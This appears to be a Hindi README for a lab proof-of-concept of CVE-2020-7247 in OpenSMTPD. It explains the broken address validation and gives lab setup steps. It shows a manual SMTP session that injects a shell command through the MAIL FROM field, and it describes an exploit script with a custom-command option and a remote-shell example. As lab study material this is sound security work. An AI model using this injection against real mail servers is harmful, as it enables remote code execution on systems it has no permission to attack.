
शैक्षणिक उद्देश्यों के लिए CVE-2020-7247 का अवधारणा प्रमाण।
यह रिपॉजिटरी एक नियंत्रित और निजी वातावरण में CVE-2020-7247 को सेट अप और शोषण करने के आधार के रूप में काम करनी चाहिए। सभी प्रकाशित कोड और कॉन्फ़िगरेशन केवल इस भेद्यता का परीक्षण करने के लिए हैं, न कि उन सिस्टमों के खिलाफ इसका दुरुपयोग करने के लिए जो आपके अपने नहीं हैं/जिन पर आपको शोषण करने की अनुमति नहीं है। इस रिपॉजिटरी का स्वामी तीसरे पक्ष द्वारा इन उपकरणों के उपयोग के लिए जिम्मेदार नहीं ठहराया जाएगा।
कोड में मुख्य समस्या यह है कि मेल सत्यापन काम नहीं करता है। यह MAIL FROM और RCPT TO फ़ील्ड में संभावित रूप से खतरनाक वर्णों को पास करने की अनुमति देता है।
यदि मेल पते का स्थानीय भाग अमान्य है, तो इसे मान्य माना जाता है क्योंकि कोड इसमें डोमेन भाग जोड़ता है और बाद में इसे मान्य के रूप में व्याख्यायित करता है। यह हमलावर को मनमाना कोड निष्पादित करने की अनुमति देता है।
2189 static int
2190 smtp_mailaddr(struct mailaddr *maddr, char *line, int mailfrom, char **args,
2191 const char *domain)
2192 {
....
2218 if (!valid_localpart(maddr->user) ||
2219 !valid_domainpart(maddr->domain)) {
....
2229 if (maddr->domain[0] == '\0') {
2230 (void)strlcpy(maddr->domain, domain,
2231 sizeof(maddr->domain));
2232 return (1);
2233 }
2234 return (0);
2235 }
2236
2237 return (1);
2238 }
सुरक्षित होने के लिए कोड को निम्नलिखित रूप में होना चाहिए:
2189 static int
2190 smtp_mailaddr(struct mailaddr *maddr, char *line, int mailfrom, char **args,
2191 const char *domain)
2192 {
....
2218 if (!valid_localpart(maddr->user) ||
2219 !valid_domainpart(maddr->domain)) {
....
2234 return (0);
2235 }
2236
2237 return (1);
2238 }
Opensmtpd तथाकथित MDA कमांड निष्पादित करने के लिए आगे बढ़ता है। यह कमांड मेल वितरित करने के लिए उपयोग किया जाता है। यह निम्नलिखित रूप में दिखता है:
asprintf(&dispatcher->u.local.command,
"/usr/libexec/mail.local -f %%{mbox.from} %%{user.username}");
यहाँ आप पहले से ही समस्या देख सकते हैं। mbox.from प्रेषक का पता है जो हमलावर के पूर्ण नियंत्रण में है।
हालांकि हमलावर केवल उन वर्णों का उपयोग करने तक सीमित है जो निम्नलिखित सूची में नहीं हैं: !#$%&'*/?^{|}~+-=_!#$%&'*?{|}~
यहाँ पूरी तरह से खुलासा किया गया है
सर्वर चलाने के लिए वितरण चुनने की स्वतंत्रता है। मैंने इसे Ubuntu 18.04 LTS पर परीक्षण किया।
सेटअप स्क्रिप्ट को निष्पादन योग्य बनाने के लिए chmod +x setup.sh चलाएँ। आप इसे एक सामान्य उपयोगकर्ता के साथ उपयोग कर सकते हैं क्योंकि मैंने स्क्रिप्ट में केवल जहाँ आवश्यक हो वहाँ sudo अधिकार शामिल किए हैं। (बेशक आपके उपयोगकर्ता को sudoer होना चाहिए)
सेटअप स्क्रिप्ट smtpd के लिए सभी आवश्यक निर्भरताएँ स्थापित करेगी और कॉन्फ़िगरेशन को उनके संबंधित स्थानों पर कॉपी करेगी।
Opensmtpd 6.6.1 स्थापित किया जाएगा।
यदि आपको openstmpd को मैन्युअल रूप से चलाने की आवश्यकता है या स्क्रिप्ट में कोई त्रुटि है, तो निम्नलिखित चलाएँ:
cd /usr/local/sbin
sudo smtpd
या
डीबगिंग आउटपुट के लिए sudo smtpd -dv
इस रिपॉजिटरी में कॉन्फ़िगरेशन केवल स्थानीय परीक्षण के लिए हैं। उनमें बाहरी डोमेन/उन्नत कॉन्फ़िगरेशन शामिल नहीं हैं।
aliases और smtpd.conf इस सर्वर के सेटअप के लिए आवश्यक दो कॉन्फ़िगरेशन फ़ाइलें हैं। आप उन्हें अपनी इच्छानुसार बदलने के लिए स्वतंत्र हैं। ध्यान रखें कि कॉन्फ़िगरेशन मेरे परीक्षण सर्वर के लिए था। मेरा सर्वरनाम ase था (smtpd.conf @ase निर्देश) और मेरा उपयोगकर्ता नाम ase था (aliases उपयोगकर्ता कॉन्फ़िगरेशन)।
आपको smtpd.conf में <YOUR IP> को अपने सर्वर के IP से बदलना होगा। अन्यथा smtpd शुरू नहीं होगा।
यदि आप इस वातावरण में किसी भी IP पते और पोर्ट पर ठोकर खाते हैं, तो यहाँ मेरे द्वारा उपयोग किए गए वातावरण के बारे में कुछ मुख्य तथ्य दिए गए हैं ताकि आप उन्हें तदनुसार बदल सकें:
asease192.168.1.4025192.168.1.311337प्रदान किया गया एक्सप्लॉट Python 3.x का उपयोग करता है। यह pwn निर्भरता का उपयोग करता है। इस शोषण का उपयोग करने के लिए आपको pip3 install pwntools का उपयोग करके pwntools स्थापित करना होगा।
मूल रूप से शोषण स्वचालित रूप से उपयोगकर्ता की सहभागिता की आवश्यकता के बिना भेद्यता का शोषण करता है। हालांकि शोषण python स्क्रिप्ट के बिना मैन्युअल रूप से किया जा सकता है।
जैसा कि पहले उल्लेख किया गया है, शोषण प्रदान की गई python स्क्रिप्ट के बिना निष्पादित किया जा सकता है। आपको SMTP प्रक्रिया को मैन्युअल रूप से पालन करना होगा। यह netcat या telnet का उपयोग करके किया जा सकता है।
यहाँ एक उदाहरण दिया गया है कि यह मैन्युअल रूप से कैसे किया जा सकता है:
telnet <आपके सर्वर का IP> 25
HELO attacker
250 ase Hello attacker [<क्लाइंट IP>], pleased to meet you
MAIL FROM:<;अपना शेलकोड यहाँ डालें;>
250 2.0.0 Ok
RCPT TO:<root>
250 2.1.5 Destination address valid: Recipient ok
DATA
354 Enter mail, end with "." on a line by itself
Oh no you got pwned
.
250 2.0.0 48bb34d2 Message accepted for delivery
आप प्रदान की गई स्क्रिप्ट का भी उपयोग कर सकते हैं। निम्नलिखित पैरामीटर संभव हैं:
--targetHost लक्ष्य निर्दिष्ट करता है और आवश्यक है।--targetPort लक्ष्य पोर्ट निर्दिष्ट करता है और आवश्यक है।--customCommand इंजेक्ट करने के लिए कमांड निर्दिष्ट करता है।shellcode.py एक उदाहरण के रूप में कार्य करता है कि रिमोट शेल कोड कैसा दिख सकता है। \
